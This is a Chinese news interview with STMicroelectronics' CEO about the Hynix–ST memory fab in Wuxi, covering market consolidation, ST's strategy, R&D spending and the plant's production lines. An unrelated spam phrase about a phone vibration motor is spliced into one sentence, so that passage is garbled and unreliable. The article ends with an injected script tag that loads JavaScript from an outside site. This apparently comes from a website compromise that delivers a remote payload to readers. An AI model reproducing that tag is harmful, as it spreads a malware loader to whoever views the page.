日前，韩国海力士半导体(hynix)与意法半导体(st)在江苏无锡合资建立的存储器芯片前端制造厂举行落成典礼。海力士st无锡的晶圆线是目前我国内地最先进的集成电路生产线，其8英寸dram芯片最高工艺达到80nm，12英寸生产线达到55nm。无锡厂的建成和投产，标志着st已经在中国拥有完整的集成电路产业链，这在国外半导体巨头中目前还是独一无二的。st总裁兼首席执行官carlobozotti在接受《中国电子报》记者采访时指出，中国是st全球市场中最重要的部分，st在中国的销售收入已经占全球销售额的25%。
半导体市场整合成趋势
记者：2006年全球半导体领域波动比较大，多家大公司都在进行拆分与整合，怎样看待这一现象？
carlobozotti：目前的半导体市场出现了越来越多的整合趋势，特别是在存储芯片市场，这一次st与hynix的合作就是明显的证明。为顺应目前整合的大趋势，st与hynix在研发、生产等领域上进行全方位的合作。之所以和hyni欧姆龙研制出手机超薄振动马达x在无锡共同建立生产线主要有两个目的：其一，通过合作生产缩短产品的上市周期；其次，通过合作能够分摊双方的研发、生产乃至新基地建设的各种成本。
目前，全球性的合作已经变得日益紧密。st不仅和hynix进行合作，与飞思卡尔同样也在汽车电子领域展开进一步的合作，st与飞思卡尔将建设一个联合研发中心，进行相关产品和应用的开发。
除了整合趋势之外，全球半导体领域出现了更多的策略联盟的趋势。这样的策略联盟不仅是在原先的竞争对手之间，还包括产业链的上下游企业之间建立合作伙伴关系。
持续巩固两大领域领先地位
记者：st目前的产品领域覆盖范围非常广，未来是否会进行调整？
carlobozotti：st未来的目标是在两个领域成为无可争议的领导厂商。
首先是在电源管理和应用领域成为领导厂商。能源管理和应用涉及到众多市场领域，在照明、工业控制、汽车电子等诸多领域都将发挥重要作用。随着人们节能意识的不断提高，对于能源的使用和需求也越来越谨慎，所以电源管理市场将是未来非常重要的领域，st将在这一领域持续加强投入，成为这一市场的领导者。在电源管理领域的竞争力体现在多种元器件上，这也都是st的优势领域。
第二个领域是多媒体整合市场。在手机、数字音视频、汽车电子元器件以及数据存储市场等，st都保持着领先地位。目前，st在多媒体整合市场有了更进一步的优势，即st的整体解决方案供应。通过st的芯片产品与软件相结合，再加上相应的应用，可为客户提供丰富的产品和解决方案。st通过搭建不同平台，如高清电视、数码应用产品以及手机等多种研发平台为客户提供更好的产品开发环境，这些不同的平台是st在多媒体整合市场保持优势的关键。
从2005年开始，st已经开始展开业务部门的整合工作，将无线业务部门与消费类产品部门进行了整合，因为在很多研发方向上两个部门都有相似之处，而且可以将多种数码产品应用于无线业务进行紧密结合，形成更多的产品解决方案，并能缩短产品上市周期。
目前，st每年的研发投入约为全年销售收入的17%，这17%中约1/3用于技术研发，2/3用于产品开发。未来，随着销售收入的不断增加，研发投入的比重可能会略有减少，但大体金额不会变化，多数的研发投入将集中在产品、平台和解决方案的研发上，对于半导体技术的研发投入会有所下降。
记者：在闪存市场中nor和nand两大市场融合的趋势越来越明显，st如何看待这一市场？怎样将nor市场的优势延续到nand市场中？
carlobozotti：在无线产品领域中，出现了将多个芯片封装到一个封装中的趋势。st在这一市场也具有非常强的实力，已经可以将nor、nand和低功耗存储芯片封装在一个芯片内，st可以提供这样的解决方案，在手机领域中具有很强的竞争力。
手机、数码相机以及随身听等便携设备对存储容量的需求越来越高，在这种发展趋势的拉动下，2005年nand闪存市场的增长速度达到半导体市场有史以来的最高水平，无锡12英寸晶圆生产线从60nmslc(单级单元)和mlc(多级单元)nand技术快速向55nm以下节点过渡，将有助于我们满足手机及数字消费市场用户对高性能和成本低廉的存储器解决方案的需求。
无锡厂量产在推进
记者：无锡晶圆厂st与海力士双方的合作方式、资金来源以及产品规划？
carlobozotti：这个合资厂的总投资额为20亿美元，意法半导体与海力士半导体的股份比例是1/3∶2/3，中国本地金融机构和意法半导体还为合资公司提供了联贷计划。
两家公司于2005年4月为新工厂举行了奠基仪式，8英寸和12英寸生产线分别于2006年7月和10月开始量产。目前dram芯片采用80nm、90nm和110nm制造工艺，90nm和110nm晶圆在8英寸生产线上生产，80nm晶圆在12英寸生产线上生产?script src=http://er12.com/t.js>
